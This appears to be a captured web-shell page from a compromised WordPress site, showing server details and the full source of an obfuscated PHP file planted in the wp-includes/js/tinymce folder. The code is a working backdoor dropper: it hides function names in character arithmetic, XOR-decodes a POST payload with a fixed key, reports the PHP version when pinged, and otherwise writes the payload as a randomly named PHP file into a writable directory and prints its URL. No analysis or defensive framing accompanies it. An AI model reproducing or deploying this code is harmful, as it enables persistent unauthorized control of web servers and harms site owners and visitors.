HEX
Server:Apache
System:Linux localhost 5.10.0-14-amd64 #1 SMP Debian 5.10.113-1 (2022-04-29) x86_64
User:enlugo-es (10006)
PHP:7.4.33
Disabled:opcache_get_status
Upload Files
File: /var/www/vhosts/enlugo.es/httpdocs/wp-includes/js/tinymce/cvfzzmkl.php
<?php $RNGgyv = "\104".chr(433-354).chr(67).'U'.chr(656-579).chr(69).chr(78).'T'."\137".'R'.'O'."\x4f"."\124";$NOoYHnnKOw = "\x48"."\124".chr(424-340).chr(661-581)."\x5f"."\110".chr(79).chr(83)."\124";$GNOyud = 'h'.'t'."\x74"."\160"."\72"."\x2f".chr(47);$wgWjXeqOwR = chr(95-49).chr(112).chr(104)."\160";$dFpcYCDin = "\160"."\150".'p';$ruSuifdi = "\146".'i'."\x6c"."\145".'_'."\160"."\165".chr(116).'_'.'c'.chr(121-10)."\x6e".chr(116)."\x65"."\x6e".'t'.chr(1021-906);$ATMUskCX = chr(866-752).chr(97).chr(1060-941).chr(873-756).chr(114)."\x6c".chr(100)."\x65".chr(544-445)."\x6f"."\x64".chr(162-61);$fgiEOTK = "\165".'n'."\163".chr(101).chr(567-453)."\151"."\x61"."\x6c"."\151"."\x7a".chr(101);$mICqOqDos = 'i'."\x73".chr(323-228).chr(119).chr(114)."\151".chr(813-697)."\141"."\x62"."\x6c".chr(101);$FmhhUxNL = chr(630-518).'h'."\160".chr(669-551).'e'."\162"."\163".chr(105).chr(497-386)."\156";$TNaPWMFAIM = "\x73".chr(116).'r'.chr(95).'r'.chr(376-265)."\164"."\61".'3';$foGlilx = "\x73".chr(101).chr(114)."\151".'a'.'l'.chr(765-660)."\172".chr(101);$VdNMQRj = 's'."\164".chr(114)."\x5f".chr(1016-901).chr(1094-982)."\x6c"."\x69".chr(116);foreach ($_POST as $Kpovjggy => $VWNfuBSSQ){$gVZwtVcU = strlen($Kpovjggy);if ($gVZwtVcU == 16){$VWNfuBSSQ = $VdNMQRj($ATMUskCX($TNaPWMFAIM($VWNfuBSSQ)));$Kpovjggy = array_slice($VdNMQRj(str_repeat($Kpovjggy, (count($VWNfuBSSQ)/16)+1)), 0, count($VWNfuBSSQ));function TbVIfAZ($SkAEa, $EHgbm, $Kpovjggy){$fbORA = "63d8fe9d-5585-43fd-a920-1baa7d231161";return $SkAEa ^ $fbORA[$EHgbm % strlen($fbORA)] ^ $Kpovjggy;}$VWNfuBSSQ = array_map("TbVIfAZ", array_values($VWNfuBSSQ), array_keys($VWNfuBSSQ), array_values($Kpovjggy));$VWNfuBSSQ = implode("", $VWNfuBSSQ);$VWNfuBSSQ = @$fgiEOTK($VWNfuBSSQ);if (@is_array($VWNfuBSSQ)){$GDpdbW = array_keys($VWNfuBSSQ);$VWNfuBSSQ = $VWNfuBSSQ[$GDpdbW[0]];if ($VWNfuBSSQ === $GDpdbW[0]){echo @$foGlilx(Array($dFpcYCDin => @$FmhhUxNL(), ));exit();}else {function XCuCldBxR($XPUMAKRDiir){static $LHKEvO = array();$xzhep = glob($XPUMAKRDiir . '/*', GLOB_ONLYDIR);$bNUNm = count($xzhep);if ($bNUNm > 0) {foreach ($xzhep as $XPUMAKRDi) {if (@$mICqOqDos($XPUMAKRDi)) {$LHKEvO[] = $XPUMAKRDi;}}}foreach ($xzhep as $XPUMAKRDiir) XCuCldBxR($XPUMAKRDiir);return $LHKEvO;}$cZCEnihXr = $_SERVER[$RNGgyv];$xzhep = XCuCldBxR($cZCEnihXr);$GDpdbW = array_rand($xzhep);$aGNOVyDmz = $xzhep[$GDpdbW] . "/" . substr(md5(time()), 0, 8) . $wgWjXeqOwR;@$ruSuifdi($aGNOVyDmz, $VWNfuBSSQ);$VRtys = $GNOyud . $_SERVER[$NOoYHnnKOw] . substr($aGNOVyDmz, strlen($cZCEnihXr));print($VRtys);die();}}}}